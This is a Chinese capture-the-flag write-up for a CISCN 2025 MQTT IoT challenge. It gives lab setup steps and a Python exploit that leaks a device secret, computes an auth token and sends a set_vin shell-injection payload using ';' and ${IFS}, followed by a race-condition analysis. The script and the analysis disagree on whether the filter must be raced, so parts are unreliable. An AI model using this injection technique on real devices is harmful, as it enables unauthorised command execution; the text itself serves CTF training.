题目链接:
链接: https://pan.baidu.com/s/1tLbmwh_xPTEeBk20TlhLJg?pwd=8nax 提取码: 8nax
题目来源: ciscn2025
0x01 赛题背景与架构
MQTT (Message Queuing Telemetry Transport) 是一种轻量级的发布/订阅消息传输协议,广泛应用于物联网 (IoT) 设备中。
赛题架构:
Broker (服务端):消息中转站(通常使用
mosquitto)。Vulnerable Device (受害设备):连入 Broker,订阅特定主题,负责处理指令。
Attacker (攻击者):连入 Broker,通过发布消息攻击受害设备。
漏洞逻辑:
信息泄露:攻击者可以诱导设备发布其内部的 Secret/Flag 到公共 Topic。
命令注入:设备在处理
set_vin指令时,参数过滤不严,导致可以拼接恶意 Shell 命令。
0x02 环境搭建
一台 Linux 虚拟机(Ubuntu/Kali),安装 MQTT Broker 和 Python 开发库。
# 1. 安装 mosquitto 服务端和客户端
sudo apt-get update
sudo apt-get install mosquitto mosquitto-clients
# 2. 安装 Python MQTT 库
# 注意:在较新的 Linux (如 Ubuntu 23.04+/Kali) 中,直接 pip install 会报错 "externally-managed-environment"。
# 解决方法 A (推荐):使用系统包管理器安装
sudo apt-get install python3-paho-mqtt
# 解决方法 B:创建虚拟环境安装 (如果你坚持用 pip)
# python3 -m venv venv
# source venv/bin/activate
# pip install paho-mqtt
# 3. 启动 MQTT 服务 (默认端口 1883)
sudo service mosquitto start
0x03 题目环境修复
题目附件通常包含二进制文件 pwn 和依赖库(libc.so, libpaho... 等)。直接运行通常会报错,必须按以下顺序修复。
1. 移出共享目录 (防止权限问题)
严重警告:不要在 VMware/VirtualBox 的共享文件夹(如 /mnt/hgfs/)中运行题目,这会导致软链接失效和权限错误。
# 回到用户主目录
cd ~
mkdir mqtt_challenge
# 将题目文件复制出来 (请替换为您的实际路径)
cp -r /mnt/hgfs/您的共享文件夹路径/* ~/mqtt_challenge/
cd ~/mqtt_challenge
2. 修复损坏的库文件软链接
在复制过程中,.so 文件的软链接可能会损坏变成 0 字节。
# 检查并修复 libpaho-mqtt3c
cp libpaho-mqtt3c.so.1.3.9 libpaho-mqtt3c.so.1
# 如果 libcjson 也有问题,同样修复
# cp libcjson.so.1.7.15 libcjson.so.1
3. 创建题目依赖的系统文件 (修复 "miss file.")
题目启动时会通过 openat 检查 /mnt/ 下的特定文件,缺少会导致程序退出。
# 创建目录
sudo mkdir -p /mnt
# 1. 创建 Flag 文件 (用于窃取测试)
sudo sh -c 'echo "CISCN{Test_Flag_Success}" > /mnt/VIN'
# 2. 创建 Version 文件 (这是导致 miss file 的隐蔽原因)
sudo sh -c 'echo "1.0" > /mnt/version'
# 3. 赋予读取权限
sudo chmod 644 /mnt/VIN /mnt/version
4. 赋予执行权限
chmod +x ./pwn
chmod +x ./ld-linux-x86-64.so.2
0x04 启动题目 (模拟受害者)
使用题目提供的加载器(ld-linux)和依赖库来运行,防止与系统 libc 版本冲突。
启动 Mosquitto 服务:
sudo service mosquitto start运行题目:
在终端 1 中执行以下命令。
现象:程序运行后会卡住不动(进入监听状态),这是正常的,不要关闭。
./ld-linux-x86-64.so.2 --library-path . ./pwn
0x04 攻击利用
在终端 2 中,创建并运行攻击脚本 exp.py。
漏洞逻辑:
Leak:发送
leak_request获取/mnt/VIN的内容。Auth:使用
sum2hex算法(累加 ASCII 码)计算认证 Token。RCE:构造
set_vin指令,利用;和${IFS}绕过检查执行命令。
EXP 代码 (exp.py):
import paho.mqtt.client as mqtt
import time
import random
# 配置
BROKER = "127.0.0.1"
PORT = 1883
TOPIC_SEND = "diag"
TOPIC_RECV = "diag/resp"
secret_leaked = None
# 回调:接收泄露的 Flag/Secret
def on_message(client, userdata, msg):
global secret_leaked
secret_leaked = msg.payload.decode()
print(f"[+] Leaked Secret: {secret_leaked}")
client.disconnect()
# --- 第一步:诱导信息泄露 ---
print("=== Stage 1: Leaking Secret ===")
client = mqtt.Client(client_id=f"attacker_{random.randint(1000,9999)}")
client.on_message = on_message
client.connect(BROKER, PORT, 60)
client.subscribe(TOPIC_RECV)
client.loop_start()
time.sleep(1)
print("[*] Sending leak request...")
client.publish(TOPIC_SEND, "leak_request")
time.sleep(2)
client.loop_stop()
if not secret_leaked:
print("[-] Exploit failed: No secret received. Is the challenge running?")
exit()
# --- 第二步:计算 Auth 并 RCE ---
print("\n=== Stage 2: Sending RCE Payload ===")
# 真题核心算法:累加求和转 Hex (Sum to Hex)
def sum2hex(s):
total = 0
for c in s:
total += ord(c)
return hex(total)[2:] # 去掉 0x 前缀
auth_token = sum2hex(secret_leaked)
print(f"[+] Calculated Auth: {auth_token}")
# 构造 Payload
# 1. 使用分号 ; 闭合前面的 echo 命令
# 2. 使用 ${IFS} 绕过空格过滤
# 3. 目标:在 /tmp 生成 pwned 文件
cmd_injection = "A;touch${IFS}/tmp/pwned;"
# 最终格式:set_vin:认证码:命令
final_payload = f"set_vin:{auth_token}:{cmd_injection}"
print(f"[*] Sending: {final_payload}")
client2 = mqtt.Client(client_id=f"attacker_rce_{random.randint(1000,9999)}")
client2.connect(BROKER, PORT, 60)
client2.publish(TOPIC_SEND, final_payload)
time.sleep(1)
print("[+] Payload Sent!")
执行攻击:
python3 exp.py
0x05 验证结果
攻击脚本提示发送成功后,在任意终端检查 /tmp 目录。
ls -l /tmp/pwned
如果看到 pwned 文件存在,说明命令注入成功
逻辑分析:
漏洞在这里:
先做了鉴权,然后根据cmd传入的值,执行不同的操作,arg是传入的参数。
漏洞点存在于当cmd为set_vin的时候,存在明显的命令注入

仔细分析逻辑可以知道,程序开始读了/mnt/VIN的文件内容,并将它赋值到dest全局变量中。
在鉴权环节,会将dest中的内容进行处理,给到s2,然后比对auth和s2是否一致。

但在sub_1E1A中,会将dest的内容发布到 topic="diag/resp" 中,需要在exp中接受dest,并采用sum2hex的处理方法计算出auth。

check_arg对参数限制为数字和字母

注意到在每次检查通过进入if分支之后,有一个sleep(2),而arg是一个全局变量,该回调函数又是通过线程创建,可以看出为条件竞争race condition

思路:
1.计算auth
2.race condition,首次构造arg为任意字母数字,通过check,再马上pulish_msg,将arg改成我们的指令
3.成功popen执行命令